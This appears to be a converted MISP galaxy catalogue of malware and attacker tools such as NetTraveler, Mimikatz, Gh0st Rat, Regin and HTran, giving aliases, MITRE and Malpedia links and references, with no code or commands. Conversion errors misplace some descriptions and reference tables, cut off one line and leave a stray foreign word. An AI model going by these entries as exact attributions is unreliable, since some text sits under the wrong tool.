Moudoor is also known as:
NetTraveler

APT that infected hundreds of high profile victims in more than 40 countries. Known targets of NetTraveler include Tibetan/Uyghur activists, oil industry companies, scientific research centers and institutes, universities, private companies, governments and governmental institutions, embassies and military contractors.

The tag is: *misp-galaxy:tool*="NetTraveler"

NetTraveler is also known as:

- TravNet
- Netfile

Winnti

APT used As part of Operation SMN, Novetta analyzed recent versions of the Winnti malware. The samples, compiled from mid- to late 2014, exhibited minimal functional changes over the previous generations Kaspersky reported in 2013.

The tag is: *misp-galaxy:tool*="Winnti"
View relationships graph

Winnti has relationships with:

- similar: misp-galaxy:mitre-malware="Winnti for Windows - S0141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Winnti (Windows)" with estimative-language:likelihood-probability="likely"

**Table 11666. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/blog/incidents/57455/nettraveler-is-back-the-red-star-apt-returns-with-new-tricks/">https://securelist.com/blog/incidents/57455/nettraveler-is-back-the-red-star-apt-returns-with-new-tricks/</a></td>
</tr>
</tbody>
</table>

**Mimikatz**

Ease Credential stealth and replay, A little tool to play with Windows security.

The tag is: misp-galaxy:tool="Mimikatz"

Mimikatz is also known as:

- Mikatz

View relationships graph

Mimikatz has relationships with:

- similar: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="MimiKatz" with estimative-language:likelihood-probability="almost-certain"

**Table 11667. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz</a></td>
</tr>
</tbody>
</table>

7255
WEBC2

Backdoor attributed to APT1

The tag is: misp-galaxy:tool="WEBC2"

View relationships graph

WEBC2 has relationships with:

- similar: misp-galaxy:mitre-malware="WEBC2 - S0109" with estimative-language:likelihood-probability="likely"

Table 11668. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/gnaegle/cse4990-practical3">https://github.com/gnaegle/cse4990-practical3</a></td>
</tr>
<tr>
<td><a href="https://www.securestate.com/blog/2013/02/20/apt-if-it-aint-broke">https://www.securestate.com/blog/2013/02/20/apt-if-it-aint-broke</a></td>
</tr>
</tbody>
</table>

Pirpi

Symantec has observed Buckeye activity dating back to 2009, involving attacks on various organizations in several regions. Buckeye used a remote access Trojan (Backdoor.Pirpi) in attacks against a US organization’s network in 2009. The group delivered Backdoor.Pirpi through malicious attachments or links in convincing spear-phishing emails.

The tag is: misp-galaxy:tool="Pirpi"

Pirpi is also known as:

- Badey
- EXL

View relationships graph

Pirpi has relationships with:

- similar: misp-galaxy:mitre-malware="SHOTPUT - S0063" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="pirpi" with estimative-language:likelihood-probability="almost-certain"

Table 11669. Table References
RARSTONE

RARSTONE is a Remote Access Tool (RAT) discovered early 2013 by TrendMicro, it’s characterized by a great affinity with the other RAT know as Plug is and was used in April for phishing campaigns that followed the dramatic attack to the Boston Marathon.

The tag is: `misp-galaxy:tool=\"RARSTONE\"`

View relationships graph

RARSTONE has relationships with:

- similar: `misp-galaxy:mitre-malware=\"RARSTONE - S0055\"` with estimative-language:likelihood-probability="likely"

Table 11670. Table References

Backspace

Backspace is a Backdoor that targets the Windows platform. This malware is reportedly associated with targeted attacks against Association of Southeast Asian Nations (ASEAN) members (APT30).

The tag is: `misp-galaxy:tool=\"Backspace\"`

Backspace is also known as:

- Lecna

View relationships graph

Backspace has relationships with:

- similar: `misp-galaxy:mitre-malware=\"BACKSPACE - S0031\"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia=\"backspace\"` with estimative-language:likelihood-probability="almost-certain"

Table 11671. Table References

Links


**XSControl**

Backdoor user by the Naikon APT group

The tag is: `misp-galaxy:tool="XSControl"`

*Table 11672. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/analysis/publications/69953/the-naikon-apt/">https://securelist.com/analysis/publications/69953/the-naikon-apt/</a></td>
</tr>
<tr>
<td><a href="https://kasperskycontenthub.com/securelist/files/2015/05/TheNaikonAPT-MsnMM.pdf">https://kasperskycontenthub.com/securelist/files/2015/05/TheNaikonAPT-MsnMM.pdf</a></td>
</tr>
</tbody>
</table>

**Neteagle**

NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as Scout and Norton.

The tag is: `misp-galaxy:tool="Neteagle"`

Neteagle is also known as:

- scout
- norton

*View relationships graph*

Neteagle has relationships with:

- similar: `misp-galaxy:malpedia="NETEAGLE"` with `estimative-language:likelihood-probability="almost-certain"`

*Table 11673. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/wiki/Software/S0034">https://attack.mitre.org/wiki/Software/S0034</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

**Agent.BTZ**

In November 2014, the experts of the G DATA SecurityLabs published an article about ComRAT, the Agent.BTZ successor. We explained that this case is linked to the Uroburos rootkit.

The tag is: `misp-galaxy:tool="Agent.BTZ"`

Agent.BTZ is also known as:
• ComRat

View relationships graph

Agent.BTZ has relationships with:

• similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"

Table 11674. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Heseber BOT**

RAT bundle with standard VNC (to avoid/limit A/V detection).

The tag is: *misp-galaxy:tool="Heseber BOT"*

**Agent.dne**

The tag is: *misp-galaxy:tool="Agent.dne"*

**Wipbot**

Waterbug is the name given to the actors who use the malware tools Trojan.Wipbot (also known as Tavdigi and Epic Turla)

The tag is: *misp-galaxy:tool="Wipbot"*

Wipbot is also known as:

• Tavdigi
• Epic Turla
• WorldCupSec
• TadjMakhal

View relationships graph

Wipbot has relationships with:

• similar: misp-galaxy:mitre-malware="Epic - S0091" with estimative-language:likelihood-
Turla

Family of related sophisticated backdoor software - Name comes from Microsoft detection signature – anagram of Ultra (Ultra3) was a name of the fake driver). A macOS version exists but appears incomplete and lacking features...for now!

The tag is: misp-galaxy:tool="Turla"

Turla is also known as:

- Snake
- Uroburos
- Urouros

View relationships graph

Turla has relationships with:

- similar: misp-galaxy:mitre-malware="Uroburos - S0022" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Uroburos (Windows)" with estimative-language:likelihood-probability="likely"

Winexe

The tag is: misp-galaxy:tool="Winexe"

View relationships graph

Winexe has relationships with:
• similar: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="likely"

**Dark Comet**

RAT initially identified in 2011 and still actively used.

The tag is: *misp-galaxy:tool="Dark Comet"*

**View relationships graph**

Dark Comet has relationships with:

• similar: misp-galaxy:rat="DarkComet" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:malpedia="DarkComet" with estimative-language:likelihood-probability="likely"

**Cadelspy**

The tag is: *misp-galaxy:tool="Cadelspy"*

Cadelspy is also known as:

• WinSpy

**View relationships graph**

Cadelspy has relationships with:

• similar: misp-galaxy:malpedia="CadelSpy" with estimative-language:likelihood-probability="almost-certain"

**CMStar**

The tag is: *misp-galaxy:tool="CMStar"*

**View relationships graph**

CMStar has relationships with:

• similar: misp-galaxy:malpedia="CMSTAR" with estimative-language:likelihood-probability="almost-certain"

*Table 11677. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**DHS2015**

The tag is: `misp-galaxy:tool="DHS2015"`

DHS2015 is also known as:

- iRAT

Table 11678. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Gh0st Rat**

Gh0st Rat is a well-known Chinese remote access trojan which was originally made by C.Rufus Security Team several years ago. GH0ST is a backdoor written in C++ that communicates via a custom binary protocol over TCP or UDP. It typically features a packet signature at the start of each message that varies between samples. Availability: Public

The tag is: `misp-galaxy:tool="Gh0st Rat"`

Gh0st Rat is also known as:

- Gh0stRat, GhostRat

View relationships graph

Gh0st Rat has relationships with:

- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 11679. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf">http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf</a></td>
</tr>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**Fakem RAT**

Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).

The tag is: `misp-galaxy:tool="Fakem RAT"`

Fakem RAT is also known as:
• FAKEM

View relationships graph

Fakem RAT has relationships with:

• similar: misp-galaxy:malpedia="Terminator RAT" with estimative-language:likelihood-probability="likely"

Table 11680. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

MFC Huner

The tag is: misp-galaxy:tool="MFC Huner"

MFC Huner is also known as:

• Hupigon
• BKDR_HUPIGON

Table 11681. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Blackshades

Blackshades Remote Access Tool targets Microsoft Windows operating systems. Authors were arrested in 2012 and 2014.

The tag is: misp-galaxy:tool="Blackshades"

View relationships graph

Blackshades has relationships with:

• similar: misp-galaxy:rat="Blackshades" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="BlackShades" with estimative-language:likelihood-probability="almost-certain"

Table 11682. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
CHOPSTICK
backdoor used by apt28

The tag is: `misp-galaxy:tool="CHOPSTICK"`

CHOPSTICK is also known as:

- webhp
- SPLM
- (.v2 fysbis)

View relationships graph

CHOPSTICK has relationships with:

- similar: `misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:mitre-malware="X-Agent for Android - S0314" with estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"

Table 11683. Table References

Links


EVILTOSS
backdoor used by apt28

Sedreco serves as a spying backdoor; its functionalities can be extended with dynamically loaded plugins. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. We have not seen this component since April 2016.

The tag is: `misp-galaxy:tool="EVILTOSS"`

EVILTOSS is also known as:

- Sedreco
- AZZY
• ADVSTORESHELL
• NETUI

View relationships graph

EVILTOSS has relationships with:

• similar: misp-galaxy:mitre-malware="ADVSTORESHELL - S0045" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"

Table 11684. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

GAMEFISH

backdoor

The tag is: misp-galaxy:tool="GAMEFISH"

GAMEFISH is also known as:

• Sednit
• Seduploader
• JHUHUGIT
• Sofacy

View relationships graph

GAMEFISH has relationships with:

• similar: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"
SOURFACE
downloader - Older version of CORESHELL

The tag is: `misp-galaxy:tool="SOURFACE"

SOURFACE is also known as:
  • Sofacy

View relationships graph

SOURFACE has relationships with:
  • similar: `misp-galaxy:mitre-malware="CORESHELL - S0137"` with `estimative-language:likelihood-probability="likely"
  • similar: `misp-galaxy:tool="CORESHELL"` with `estimative-language:likelihood-probability="likely"
  • similar: `misp-galaxy:android="Sofacy"` with `estimative-language:likelihood-probability="likely"
  • similar: `misp-galaxy:mitre-malware="JHUHUGIT - S0044"` with `estimative-language:likelihood-probability="likely"
  • similar: `misp-galaxy:tool="GAMEFISH"` with `estimative-language:likelihood-probability="likely"
  • similar: `misp-galaxy:mitre-malware="Komplex - S0162"` with `estimative-language:likelihood-probability="likely"
  • similar: `misp-galaxy:malpedia="Komplex"` with `estimative-language:likelihood-probability="likely"
  • similar: `misp-galaxy:malpedia="Seduploader"` with `estimative-language:likelihood-probability="likely"

OLDBAIT
credential harvester

The tag is: `misp-galaxy:tool="OLDBAIT"

OLDBAIT is also known as:
• Sasfis
• BackDoor-FDU
• IEChecker

View relationships graph

OLDBAIT has relationships with:

• similar: misp-galaxy:mitre-malware="OLDBAIT - S0138" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="OLDBAIT" with estimative-language:likelihood-probability="almost-certain"

Table 11687. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

CORESHELL
downloader - Newer version of SOURFACE

The tag is: misp-galaxy:tool="CORESHELL"

CORESHELL is also known as:

• Sofacy

View relationships graph

CORESHELL has relationships with:

• similar: misp-galaxy:mitre-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
•类似: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"
• similar: `misp-galaxy:malpedia="Coreshell"` with `estimative-language:likelihood-probability="almost-certain"`

Table 11688. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Havex RAT**

The tag is: `misp-galaxy:tool="Havex RAT"`

Havex RAT is also known as:

- Havex

View relationships graph

Havex RAT has relationships with:

- similar: `misp-galaxy:mitre-malware="Backdoor.Oldrea - S0093"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Havex RAT"` with `estimative-language:likelihood-probability="likely"`

**KjW0rm**

RAT initially written in VB.

The tag is: `misp-galaxy:tool="KjW0rm"`

View relationships graph

KjW0rm has relationships with:

- similar: `misp-galaxy:rat="KjW0rm"` with `estimative-language:likelihood-probability="likely"`

Table 11689. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.sentinelone.com/blog/understanding-kjw0rm-malware-we-dive-in-to-the-tv5-cyber-attack/">https://www.sentinelone.com/blog/understanding-kjw0rm-malware-we-dive-in-to-the-tv5-cyber-attack/</a></td>
</tr>
</tbody>
</table>

**TinyTyphon**

The tag is: `misp-galaxy:tool="TinyTyphon"`

View relationships graph
TinyTyphon has relationships with:

- similar: misp-galaxy:malpedia="TinyTyphon" with estimative-language:likelihood-probability="likely"

**Badnews**

The tag is: *misp-galaxy:tool="Badnews"

View relationships graph

Badnews has relationships with:

- similar: misp-galaxy:malpedia="BadNews" with estimative-language:likelihood-probability="almost-certain"

**LURK**

The tag is: *misp-galaxy:tool="LURK"

View relationships graph

LURK has relationships with:

- similar: misp-galaxy:malpedia="Lurk" with estimative-language:likelihood-probability="almost-certain"

**Oldrea**

The tag is: *misp-galaxy:tool="Oldrea"

**AmmyAdmin**

The tag is: *misp-galaxy:tool="AmmyAdmin"

**Matryoshka**

The tag is: *misp-galaxy:tool="Matryoshka"

View relationships graph

Matryoshka has relationships with:

- similar: misp-galaxy:rat="Matryoshka" with estimative-language:likelihood-probability="likely"

**TinyZBot**

The tag is: *misp-galaxy:tool="TinyZBot"
TinyZBot has relationships with:

- similar: misp-galaxy:mitre-malware="TinyZBot - S0004" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TinyZbot" with estimative-language:likelihood-probability="almost-certain"

GHOLE

The tag is: misp-galaxy:tool="GHOLE"

GHOLE has relationships with:

- similar: misp-galaxy:malpedia="Ghole" with estimative-language:likelihood-probability="almost-certain"

CWoolger

The tag is: misp-galaxy:tool="CWoolger"

FireMalv

The tag is: misp-galaxy:tool="FireMalv"

FireMalv has relationships with:

- similar: misp-galaxy:malpedia="FireMalv" with estimative-language:likelihood-probability="likely"

Regin

Regin (also known as Prax or WarriorPride) is a sophisticated malware toolkit revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. The malware targets specific users of Microsoft Windows-based computers and has been linked to the US intelligence gathering agency NSA and its British counterpart, the GCHQ. The Intercept provided samples of Regin for download including malware discovered at Belgian telecommunications provider, Belgacom. Kaspersky Lab says it first became aware of Regin in spring 2012, but that some of the earliest samples date from 2003. The name Regin is first found on the VirusTotal website on 9 March 2011.

The tag is: misp-galaxy:tool="Regin"

Regin is also known as:
Prax
WarriorPride

View relationships graph

Regin has relationships with:

• similar: misp-galaxy:mitre-malware="Regin - S0019" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Regin" with estimative-language:likelihood-probability="likely"

Table 11690. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Duqu

The tag is: misp-galaxy:tool="Duqu"

View relationships graph

Duqu has relationships with:

• similar: misp-galaxy:mitre-malware="Duqu - S0038" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="DuQu" with estimative-language:likelihood-probability="almost-certain"

Flame

The tag is: misp-galaxy:tool="Flame"

View relationships graph

Flame has relationships with:

• similar: misp-galaxy:mitre-malware="Flame - S0143" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Flame" with estimative-language:likelihood-probability="almost-certain"

Stuxnet

The tag is: misp-galaxy:tool="Stuxnet"

View relationships graph
Stuxnet has relationships with:

- similar: misp-galaxy:malpedia="Stuxnet" with estimative-language:likelihood-probability="likely"

**EquationLaser**

The tag is: misp-galaxy:tool="EquationLaser"

**EquationDrug**

The tag is: misp-galaxy:tool="EquationDrug"

View relationships graph

EquationDrug has relationships with:

- similar: misp-galaxy:malpedia="EquationDrug" with estimative-language:likelihood-probability="likely"

**DoubleFantasy**

The tag is: misp-galaxy:tool="DoubleFantasy"

**TripleFantasy**

The tag is: misp-galaxy:tool="TripleFantasy"

**Fanny**

The tag is: misp-galaxy:tool="Fanny"

View relationships graph

Fanny has relationships with:

- similar: misp-galaxy:malpedia="Fanny" with estimative-language:likelihood-probability="likely"

**GrayFish**

The tag is: misp-galaxy:tool="GrayFish"

**Babar**

The tag is: misp-galaxy:tool="Babar"

View relationships graph
Babar has relationships with:

- similar: misp-galaxy:malpedia="Babar" with estimative-language:likelihood-probability="likely"

**Bunny**

The tag is: `misp-galaxy:tool="Bunny"`

**Casper**

The tag is: `misp-galaxy:tool="Casper"`

View relationships graph

Casper has relationships with:

- similar: misp-galaxy:malpedia="Casper" with estimative-language:likelihood-probability="likely"

**NBot**

The tag is: `misp-galaxy:tool="NBot"`

**Tafacalou**

The tag is: `misp-galaxy:tool="Tafacalou"`

**Tdrop**

The tag is: `misp-galaxy:tool="Tdrop"`

**Troy**

The tag is: `misp-galaxy:tool="Troy"`

**Tdrop2**

The tag is: `misp-galaxy:tool="Tdrop2"`

**ZXShell**

ZxShell is a remote access trojan (RAT). It was developed in 2006 by the persona "LZX", who then publicly released the source code in 2007

The tag is: `misp-galaxy:tool="ZXShell"

ZXShell is also known as:
• Sensode

View relationships graph

ZXShell has relationships with:

• similar: misp-galaxy:malpedia="ZXShell" with estimative-language:likelihood-probability="likely"

Table 11691. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox">https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox</a></td>
<td></td>
</tr>
</tbody>
</table>

**T9000**

The tag is: misp-galaxy:tool="T9000"

View relationships graph

T9000 has relationships with:

• similar: misp-galaxy:mitre-malware="T9000 - S0098" with estimative-language:likelihood-probability="likely"

Table 11692. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**T5000**

The tag is: misp-galaxy:tool="T5000"

T5000 is also known as:

• Plat1

Table 11693. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
**Taidoor**

The tag is: `misp-galaxy:tool="Taidoor"`

View relationships graph

Taidoor has relationships with:

- similar: `misp-galaxy:mitre-malware="Taidoor - S0011"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="taidoor"` with `estimative-language:likelihood-probability="almost-certain"`

Table 11694. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Swisyn**

The tag is: `misp-galaxy:tool="Swisyn"`

Table 11695. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Rekaf**

The tag is: `misp-galaxy:tool="Rekaf"`

Table 11696. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Scieron**

The tag is: `misp-galaxy:tool="Scieron"`

View relationships graph

Scieron has relationships with:

- similar: `misp-galaxy:malpedia="Scieron"` with `estimative-language:likelihood-probability="almost-certain"`
SkeletonKey

The tag is: misp-galaxy:tool="SkeletonKey"

Table 11697. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/">http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/</a></td>
</tr>
</tbody>
</table>

Skyipot

The tag is: misp-galaxy:tool="Skyipot"

Table 11698. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Spindest

The tag is: misp-galaxy:tool="Spindest"

Table 11699. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Preshin

The tag is: misp-galaxy:tool="Preshin"

Oficla

The tag is: misp-galaxy:tool="Oficla"

View relationships graph

Oficla has relationships with:

- similar: misp-galaxy:botnet="BredoLab" with estimative-language:likelihood-probability="likely"

PCClient RAT

The tag is: misp-galaxy:tool="PCClient RAT"
Table 11700. Table References

Links


Plexor

The tag is: `misp-galaxy:tool="Plexor"`

Mongall

The tag is: `misp-galaxy:tool="Mongall"`

View relationships graph

Mongall has relationships with:

- similar: `misp-galaxy:malpedia="mongall"` with `estimative-language:likelihood-probability="almost-certain"`

Table 11701. Table References

Links


NeD Worm

The tag is: `misp-galaxy:tool="NeD Worm"`

View relationships graph

NeD Worm has relationships with:

- similar: `misp-galaxy:mitre-malware="DustySky - S0062"` with `estimative-language:likelihood-probability="likely"`

Table 11702. Table References

Links

http://www.clearskysec.com/dustysky/

NewCT

The tag is: `misp-galaxy:tool="NewCT"`

View relationships graph
NewCT has relationships with:

- similar: misp-galaxy:malpedia="NewCT" with estimative-language:likelihood-probability="likely"

Table 11703. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Nflog**

The tag is: misp-galaxy:tool="Nflog"

Table 11704. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Janicab**

The tag is: misp-galaxy:tool="Janicab"

View relationships graph

Janicab has relationships with:

- similar: misp-galaxy:mitre-malware="Janicab - S0163" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Janicab (OS X)" with estimative-language:likelihood-probability="almost-certain"

Table 11705. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Jripbot**

The tag is: misp-galaxy:tool="Jripbot"

Jripbot is also known as:

- Jiripbot

View relationships graph
Jripbot has relationships with:

- similar: misp-galaxy:malpedia="JripBot" with estimative-language:likelihood-probability="almost-certain"

Table 11706. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Jolob**

The tag is: misp-galaxy:tool="Jolob"

View relationships graph

Jolob has relationships with:

- similar: misp-galaxy:malpedia="Jolob" with estimative-language:likelihood-probability="likely"

Table 11707. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**IsSpace**

The tag is: misp-galaxy:tool="IsSpace"

View relationships graph

IsSpace has relationships with:

- similar: misp-galaxy:malpedia="IsSpace" with estimative-language:likelihood-probability="likely"

Table 11708. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Emotet**

The tag is: misp-galaxy:tool="Emotet"

Emotet is also known as:
- Geodo

**View relationships graph**

Emotet has relationships with:

- similar: misp-galaxy:banker="Geodo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Emotet" with estimative-language:likelihood-probability="likely"

**Table 11709. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.forcepoint.com/blog/security-labs/thanks-giving-emotet">https://www.forcepoint.com/blog/security-labs/thanks-giving-emotet</a></td>
</tr>
</tbody>
</table>

**Hoardy**

The tag is: `misp-galaxy:tool="Hoardy"`

Hoardy is also known as:

- Hoarde
- Phindolp
- BS2005

**View relationships graph**

Hoardy has relationships with:

- similar: misp-galaxy:mitre-malware="BS2005 - S0014" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BS2005" with estimative-language:likelihood-probability="likely"

**Table 11710. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/nccgroup/Royal_APT">https://github.com/nccgroup/Royal_APT</a></td>
</tr>
</tbody>
</table>

**Htran**

HUC Packet Transmitter (HTran) is a proxy tool, used to intercept and redirect Transmission
Control Protocol (TCP) connections from the local host to a remote host. This makes it possible to obfuscate an attacker's communications with victim networks. The tool has been freely available on the internet since at least 2009. HTran facilitates TCP connections between the victim and a hop point controlled by an attacker. Malicious cyber actors can use this technique to redirect their packets through multiple compromised hosts running HTran, to gain greater access to hosts in a network.

The tag is: `misp-galaxy:tool="Htran"`

HTran is also known as:

- HUC Packet Transmitter
- HTran

View relationships graph

HTran has relationships with:

- similar: `misp-galaxy:malpedia="HTran"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 11711. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**HTTPBrowser**

The tag is: `misp-galaxy:tool="HTTPBrowser"`

HTTPBrowser is also known as:

- TokenControl

View relationships graph

HTTPBrowser has relationships with:

- similar: `misp-galaxy:mitre-malware="HTTPBrowser - S0070"` with `estimative-language:likelihood-probability="likely"`

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Table 11712. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Disgufa**

The tag is: `misp-galaxy:tool="Disgufa"`

**Elirks**

The tag is: `misp-galaxy:tool="Elirks"`

View relationships graph

Elirks has relationships with:

- similar: `misp-galaxy:malpedia="Elirks"` with estimative-language:likelihood-probability="likely"

**Snifula**

The tag is: `misp-galaxy:tool="Snifula"`

Snifula is also known as:

- Ursnif

View relationships graph

Snifula has relationships with:

- similar: `misp-galaxy:banker="Gozi"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="Gozi"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="Snifula"` with estimative-language:likelihood-probability="likely"

*Table 11713. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.circl.lu/pub/tr-13/">https://www.circl.lu/pub/tr-13/</a></td>
</tr>
</tbody>
</table>

**Aumlib**

The tag is: `misp-galaxy:tool="Aumlib"`

Aumlib is also known as:

- Yayih
- mswab
• Graftor

View relationships graph

Aumlib has relationships with:

• similar: misp-galaxy:malpedia="Graftor" with estimative-language:likelihood-probability="likely"

Table 11714. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**CTRat**

The tag is: misp-galaxy:tool="CTRat"

Table 11715. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Emdivi**

The tag is: misp-galaxy:tool="Emdivi"

Emdivi is also known as:

• Newsripper

View relationships graph

Emdivi has relationships with:

• similar: misp-galaxy:malpedia="Emdivi" with estimative-language:likelihood-probability="likely"

Table 11716. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Etumbot**

The tag is: misp-galaxy:tool="Etumbot"

Etumbot is also known as:
• Exploz
• Specfix
• RIPTIDE

View relationships graph

Etumbot has relationships with:

• similar: misp-galaxy:mitre-malware="RIPTIDE - S0003" with estimative-language:likelihood-probability="likely"
